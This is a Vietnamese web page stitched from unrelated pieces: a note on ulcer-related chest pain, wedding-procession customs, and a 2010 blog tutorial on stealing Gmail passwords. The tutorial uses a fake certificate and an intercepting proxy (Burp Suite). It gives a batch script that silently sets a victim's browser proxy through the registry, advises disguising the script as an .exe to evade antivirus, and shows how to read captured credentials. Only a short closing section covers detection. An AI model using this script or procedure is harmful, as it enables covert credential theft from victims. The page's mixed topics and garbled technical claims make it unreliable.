  • Đau ngực do viêm loét dạ dày hành tá tràng: Đau lan từ vùng thượng vị, lên ngực. Khi kiểm tra kỹ sẽ thấy vùng thượng vị là vùng đau trội hơn cả. Ở những bệnh nhân này thường có tiền sử đau nhiều lần, thời gian đau hàng giờ, có liên quan chặt chẽ với bữa ăn và thời tiết (mùa đông).
Những nghi thức khi rước dâu


Thắp hương giường thờ: Họ nhà gái mời nhà trai vào nhà. Nhà trai cho đặt đồ lễ lên giường thờ (ngày xưa người ta thờ trên giường chớ không phải trên bàn hay trên tủ như bây giờ). Và ngày nay khi đàng trai được mời vào nhà, các chú rể phụ hay những người bưng phụ đồ lễ vật đứng dàn hàng ngang trước mặt các cô dâu phụ hay các thiếu nữ bên nhà gái, cũng đứng hàng ngang đối diện để trao những mâm hay quả tráp lễ vật.
Các cô này đem lễ vật vào đặt trên bàn có thứ tự trước bàn thờ gia tiên. Lúc này nhà gái kiểm điểm lại đồ thách cưới, tuy một phần đã được nhà trai đưa qua từ những hôm trước để tiện nhà gái làm cỗ đãi cho họ hàng (ngày nay lễ vật không đưa sang nhà gái trước nhưng nhà trai khi trình lễ vật, phải nói mấy lời cùng nhà gái lễ vật gồm những thứ gì).
Chính người chủ hôn nhà trai giở nắp quả tráp hay khăn đỏ phủ lễ vật ngay sau lời mở đầu buổi lễ xin phép, nhà gái cho thắp hương để chú rể và cô dâu cùng lễ gia tiên.
Không phải ai cũng có thể thắp nén hương trong trong ngày lễ cưới được. Hương phải do bố, anh trai hoặc em trai cô dâu thắp. Nếu là anh trai hoặc em trai cô dâu thắp hương, nhà trai lại phải tặng một món tiền gọi là tiền thắp hương.
Tất cả nhưng sự khó khăn nhà trai phải vượt qua từ lúc chăng dây cho đến khi hương được thắp trên giường thờ, tục lệ đặt ra để chứng tỏ nhà trai không nề hà trong sự khó khăn để đón dâu, và cũng chứng tỏ sự thiết tha yêu thương vợ của chú rể.
Lễ gia tiên và lễ mừng: Chú rể vào lễ bàn thờ gia tiên nhà vợ bốn lễ rưỡi, sau đó cô dâu cũng lễ theo. Ngày nay, cô dâu và chú rể cùng làm lễ một lược, theo thể thức chú rể “bái gối” và cô dâu ngồi vẹt, tuy vậy mỗi lần chú rể bái, cô dâu chờ động tác cho nhịp nhàng. Lễ gia tiên xong, cô dâu và chú rể phải ra lễ mừng bố mẹ vợ. Ngày nay cô dâu và chú rể lạy bố mẹ ngay liền trước bàn thờ gia tiên, thường được cha mẹ cho hỉ xả, nghĩa là cho miễn thủ tục này để tỏ lòng yêu thương, rộng lượng. Chàng rể lễ mừng bố mẹ vợ để tạ công ơn nuôi dưỡng vợ mình, còn cô dâu lễ mừng cũng có ý nghĩa tạ ơn cha mẹ tác thành lương duyên giai ngẫu cho mình. Khi chàng rể mừng lễ, bố mẹ vợ thường cho tiền hay vàng bạc. Các người phù rể sẽ nhận hộ chú rể. Có nhiều người có tính khoe khoang thường nhân dịp này cho chú rể nhà cửa, ruộng nương bằng cách trao cho văn tự hay địa đồ.
Ngày nay, sự việc có thay đổi. Trong lễ này bố mẹ vợ không cho tiền. Nếu cho tiền thì cho cô dâu ngay đêm trước ngày vu quy. Tại buổi lễ có thể người cha vợ quyết định cho lại vợ chồng một số tiền đồng hay là tiền chợ mà đàng trai trao cho nhà gái khi trình lễ vật. Bà mẹ cũng nhân dịp này trao cho con gái mình một vài món nữ trang, ngoài tính cách khoe khoang còn ngụ ý rằng “đây là của riêng con gái do bà mẹ tằn tiện để dành cho, chỉ được sử dụng khi nguy cấp để bảo hộ thân”.
Lễ mừng cha mẹ xong, chàng rể được người trong họ nhà vợ dẫn đi lễ mấy nhà thờ chính của họ nhà vợ, có mấy chàng phù rể đi theo. Cũng có nơi, chàng rể phải đi lễ nhà thờ trước rồi lúc trở về mới làm lễ mừng bố mẹ vợ. Sau khi chàng rể làm lễ đủ mọi nghi thức xong rồi, nhà gái mới mời nhà trai uống nước ăn trầu và hai họ chúc tụng cô dâu chú rể. Thường nhà gái làm cỗ mời nhà trai. Trong bữa cỗ này, chú rể vì giữ lễ hoặc vì sung sướng quá nên ăn uống rất e dè từ tốn, có khi không dám ăn vì sợ họ nhà vợ chê cười. Ngày nay, ở miền Nam, theo khuôn phép gia đình nề nếp, chú rể và cô dâu không ngồi vào bàn trong các tiệc đãi mà phải đưa nhau đi từng bàn mời khách đôi bên mà cũng là dịp để nhận biết rõ những người thân thuộc. Họ nhà trai ngồi lại họ nhà gái cho đến lúc được giờ tốt, giờ hoàng đạo, cụ già chủ hôn xin với nhà gái cho rước dâu. Cô dâu lúc này đã y phục chỉnh tề, trang điểm với mọi nữ trang của mình cùng với những đồ dẫn cưới trước, đựng trong chiếc rương phủ nhiễu điều.
Họ nhà gái có một số người đi theo cô dâu, trong đó có các cô phú dâu. Các cô phù dâu đã được tuyển lựa trong số các thiếu nữ chưa lập gia đình cũng như các phù rể đều là các chàng trai chưa vợ. Đây cũng có ý nghĩa là dịp người ta “giới thiệu” những trai gái có thể tiếp nối kết duyên, vì vậy cũng thường có các cuộc hôn phối tiếp sau đó của những trai gái này.

Thứ Bảy, 30 tháng 10, 2010

Kỹ thuật hack password Gmail

Trong bài viết này tôi sẽ trình bày với các bạn kỹ thuật Hack Password của Gmail hay các trang web khác xác thực một cách tương tự (SSL – Certificate – HTTPS). Đối với nguy cơ bạn có thể bị lộ Password Gmail, trong bài viết này tôi sẽ trình bày cách nhận biết và ngăn chặn nguy cơ này.

I. Hiu biết chung
Gmail hay những dịch vụ web khác thường sử dụng HTTPS để mã hóa gói tin User/Pass. Khi trình duyệt web sử dụng Certificate của Gmail cung cấp và mã hóa thì gói tin User/Pass khi đi trên mạng sẽ an toàn ở mức độ (gần như tuyệt đối).
Kẽ hở ở đây là thế nào mà lại có thể Hack được pass của những phương thức xác thực và mã hóa có tính bảo mật cao.

Quá trình xác thực bình thường khi người dùng truy cập Gmail:

Hình này đã được thu nhỏ, nhấn vào đây để xem nguyên bản. Kích thước ban đầu của ảnh này là 611x240

Bước 1: Người dùng truy cập gmail.com
Bước 2: Gmail sẽ gửi thông tin tới Versign để lấy Certificate
Bước 3: Versign gửi lại cho Gmail Certificate bao gồm: Public Key và Private key
Bước 4: Gmail gửi lại cho người dùng Public Key để mã hóa thông tin xác thực
Bước 5: Người dùng sử dụng Public Key mã hóa gửi lên Gmail
Bước 6: Gmail sử dụng Private key để giải mã

*note: gói tin mã hóa user/pass người dùng gửi lên gmail được mã hóa bằng public key thì chỉ có private key mới giải mã dc. Trong khi đó Private key được Gmail dữ lại và không truyền trên mạng. Nên gói tin này cực kỳ bảo mật và không có khả năng giải mã

Kỹ thuật giả mạo Certifcate
Người dùng vào Gmail sẽ không đi thẳng mà đi qua một Intercepting Proxy và bị giả mạo Certificate

Hình này đã được thu nhỏ, nhấn vào đây để xem nguyên bản. Kích thước ban đầu của ảnh này là 618x304


Bước 1: Người dùng vào Gmail
Bước 2: Khi gói tin từ người dùng vào Intercept proxy nó sẽ chỉnh sửa thông tin và gửi lên Gmail
Bước 3: Gmail gửi yêu cầu lên Versign để sinh Certificate
Bước 4: Verisign gửi Certificate về cho Gmail. Gmail dữ lại Private key và gửi cho người yêu cầu Public key
Bước 5: Gmail gửi Public key cho Intercept Proxy, Key này sẽ không được gửi cho người dùng
Bước 6: Intercept Proxy tự ra một cặp key và gửi Public key về cho người dùng
Bước 7: Người dùng sử dụng Public Key giả này do Proxy sinh ra để mã hóa user/pass và gửi lên cho proxy. Proxy do tự sinh ra cặp key nên sẽ có Private key để giải mã.
Bước 8: Sau khi giải mã được gói tin người dùng truyền lên Proxy sẽ sử dụng Public Key của Gmail gửi cho rồi mã hóa à gửi lên gmail và quá trình xác thực vẫn dc thực hiện
*Note: Khi đó nếu kẻ tấn công đứng trên con Intercept Proxy thì hoàn toàn có thể biết được User/Pass của người dùng. Người dùng không chú ý khi đi qua một Intercept proxy thì user/pass hoàn toàn có thể bị lộ, mặc dù sử dụng các phương thức xác thực rất bảo mật


II. Tools sử dụng
Burpsuite_v1.3
Link download: http://www.portswigger.net/suite/burpsuite_v1.3.zip
Đây là một tools có tính năng là một Intercept Proxy
-Java (Burpsuite là file .jar chạy trên nền Java)
Link download: http://sun.com
- IE, Firefox
- Tools thiết lập Proxy bằng một file
Đây là tools tôi tự viết dạng file .bat hoặc các bạn có thể chuyển file.bat sang file.exe để khi người dùng kích vào file này sẽ tự động thiết lập Proxy
- Quick_Batch_File_Compiler_3.21 là một tools chuyển file.bat à file.exe

III. Kỹ thuật lấy Password Gmail
- Cách thông thường nhất là sử dụng Keylogger nhưng cách này không sử dụng được khi có các chương trình diệt virus mạnh.
- Export thông tin từ trình duyệt web như IE, Firefox. Cách này không thực hiện được khi người dùng không lưu User/Pass trên trình duyệt
- Còn một cách đó là giả mạo Certificate và sử dụng Intercept Proxy
a. Đặt proxy cho người dùng
- Để toàn bộ nội dung người dùng truy cập web đi qua Intercept Proxy thì cần phải thiết lập proxy trên trình duyệt của người dùng
- Cách thiết lập có thể bạn thiết lập bằng tay (bằng một cách nào đó có quyền điều khiển máy tính của nạn nhân)
- Hướng người dùng chạy một file.exe mà do chúng ta viết để thiết lập proxy
********
Tạo ra một file.bat với nội dung:
Code:
echo Windows Registry Editor Version 5.00 > 1
echo [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings] >2
echo "MigrateProxy"=dword:00000001 > 3
echo "ProxyEnable"=dword:00000001 > 4
echo "ProxyHttp1.1"=dword:00000000 > 5
echo "ProxyServer"="IP:port" > 6
echo "ProxyOverride"="<local>" > 7
copy /b "1"+"2"+"3"+"4"+"5"+"6"+"7" b.reg
del 1 /f /q
del 2 /f /q
del 3 /f /q
del 4 /f /q
del 5 /f /q
del 6 /f /q
del 7 /f /q
regedit.exe /s b.reg
del b.reg /f /q
********

Sau đó dùng tools Quick_Batch_File_Compiler_3.21 chuyển file.bat này sang file.exe
- Khi người dùng nhấn vào file này sẽ tự động thiết lập proxy cho IE với IP bạn thay bằng IP bạn cần thiết lập, Port là port của Proxy sử dụng. Điều rất hay đó là file này tất cả các chương trình diệt virus đều không coi là Virus
- Trong bài viết này tôi sử dụng một máy tính nên proxy tôi thiết lập trên trình duyệt là 127.0.0.1
Tiến hành
Bước 1: Cài đặt Java
Bước 2: Chạy Burpsuite
Bước 3: Thiết lập Proxy
Bước 4: Truy cập Gmail
Bước 5: Vào Proxy xem thông tin User/Pass

Bước 1: Cài đặt Java:
- Sau khi bạn download bộ cài Java từ trang sun.com bạn cài đặt để chuẩn bị môi trường cho các chương trình chạy trên môi trường Java
Bước 2: Chạy Burpsuite:
- Sau khi download Burpsuite tiến hành giải nén khi đến file .jar thì dừng lại
Chạy chương trình Burpsuite_v1.3 để làm Intercepting Proxy. Nhấn đúp vào file .jar giải nén từ bộ download được


Chạy chương trình Burpsuite


Hình này đã được thu nhỏ, nhấn vào đây để xem nguyên bản. Kích thước ban đầu của ảnh này là 718x589


Mặc định chương trình này chỉ làm proxy cho chính máy chạy chương trình, để các máy khác có thể sử dụng chương trình này làm proxy phải à Vào tab proxy à chọn Options rồi có thể Edit tùy biến port sử dụng (mặc định là 8080) bỏ dấu check box “loopback only"

[IMG]http://img202.imageshack.us/img202/5520/57595257.jpg[/IMG]
Chuyển sang tab Intercept để cấu hình các mode hoạt động của Intercepting proxy
- Chế độ Intercept on: đây là chế độ hoạt động. Nếu một người đặt máy tính này làm proxy thì toàn bộ quá trình truy cập ra internet đều bị proxy này quản lý. Khi một request từ trình duyệt tới Proxy, nó sẽ phát hiện nội dung có thể chỉnh sửa và forward đi thì mới tới máy chủ web
Chúng ta tắt chế đô này bằng cách nhấn vào Intercept on sẽ thành off. Mục đích khi người dùng sử dụng phần mềm này làm proxy thì vẫn có thể vào Internet bình thường. Để chế độ này chỉ để lưu lại các thông tin người dùng truy cập web


Hình này đã được thu nhỏ, nhấn vào đây để xem nguyên bản. Kích thước ban đầu của ảnh này là 713x356


Bước 3: Đặt Proxy
- Vào IE chỉnh proxy vào địa chỉ 127.0.0.1 port 8080. IE à IE options à tab connection nhấn vào nút LAN Settings
- Hoặc chạy file.bat với nội dung như trên
Dùng tools chuyển file.bat à file.exe rồi chạy file.exe này cũng được


Bước 4: Vào Gmail qua IE (đã thiết lập Proxy)
Truy cập vào Gmail sẽ thấy thông báo Certificate lỗi nhấn continue để tiếp tục

Hình này đã được thu nhỏ, nhấn vào đây để xem nguyên bản. Kích thước ban đầu của ảnh này là 748x493


Tiếp tục google sẽ thông báo Certificate Error bạn vẫn gõ Username password để truy cập vào Mail

Hình này đã được thu nhỏ, nhấn vào đây để xem nguyên bản. Kích thước ban đầu của ảnh này là 748x493


Tôi vào được mail vẫn còn thông báo Certificate Error

Hình này đã được thu nhỏ, nhấn vào đây để xem nguyên bản. Kích thước ban đầu của ảnh này là 748x493


Bước 5: Vào Proxy tìm thông tin Username và Pass
- Vào Burpsuite à Chuyển sang tab “Target” à Chọn Site Map
Lựa chọn trang web https://www.google.com à Vào mục Accounts à Vào mục ServiceLoginAuth à Nhìn chuyển sang bên phải chọn “Request” (thông tin gửi lên server) vào mục Raw chúng ta sẽ thấy thông tin Username và Password

Hình này đã được thu nhỏ, nhấn vào đây để xem nguyên bản. Kích thước ban đầu của ảnh này là 731x976



IV. Phát hiện và bảo mật cho Account Gmail
Muốn hack password gmail kẻ tấn công phải hướng người dùng đặt Proxy đi qua một Intercept Proxy sau đó giả mạo Certificate do đó muốn phát hiện và bảo mật cho Account Gmail bạn có thể thực hiện bằng các cách:

1. Phát hiện khi vào mạng có qua một Proxy hay không
Kiểm tra bằng cách trước khi vào Internet truy cập vào mục thiết lập Proxy xem có địa chỉ nào được thiết lập hay chưa.
Cách này rất hữu ích nhưng xem ra có phần rườm rà khó thực hiện và dễ bị quên hay bỏ qua

2. Phát hiện Certificate bị giả mạo
a. Khi truy cập bình thường
+ Vào Gmail sẽ không bật ra nhưng pop-up đề xuất download Certificate
+ Nhấn chuột vào biểu tượng cục khóa à view Certifcate sẽ thấy nó được sinh ra từ Verisign

Hình này đã được thu nhỏ, nhấn vào đây để xem nguyên bản. Kích thước ban đầu của ảnh này là 746x688



Khi truy cập đi qua một Intercept Proxy
+ Truy cập vào Gmail sẽ xuất hiện cửa sổ này thông báo Certificate của bạn đã bị lỗi có tiếp tục hay không. Nếu thấy biểu tượng này khuyến cáo người dùng không nên tiếp tục và kiểm tra lại độ an toàn của mạng và máy tính trước khi truy cập

Hình này đã được thu nhỏ, nhấn vào đây để xem nguyên bản. Kích thước ban đầu của ảnh này là 748x487

+ Nếu người dùng tiếp tục truy cập vào trang Gmail sẽ không có biểu tượng cục khóa mà thay vào đó là biểu tượng “Certificate Error”.
+ Nhấn xem Certificate này chúng ta sẽ thấy Certificate này không phải do Verisign sinh ra

Hình này đã được thu nhỏ, nhấn vào đây để xem nguyên bản. Kích thước ban đầu của ảnh này là 749x710




Note: Nếu người dùng thấy hai yếu tố này khuyến cáo không nên tiếp tục vào Gmail vì Username và password của bạn hoàn toàn có thể bị mất. Ngoài ra người dùng không nên lưu mật khẩu để tự động truy cập bởi khi máy tính rơi vào tay người khác thì thông tin còn lưu lại trên IE, Firefox hoàn toan có thể bị khai thác dễ dàng. Người dùng cũng nên cài đặt các chương trình diệt Virus để ngăn chặn các loại Virus, Keylogger ăn chôm mật khẩu.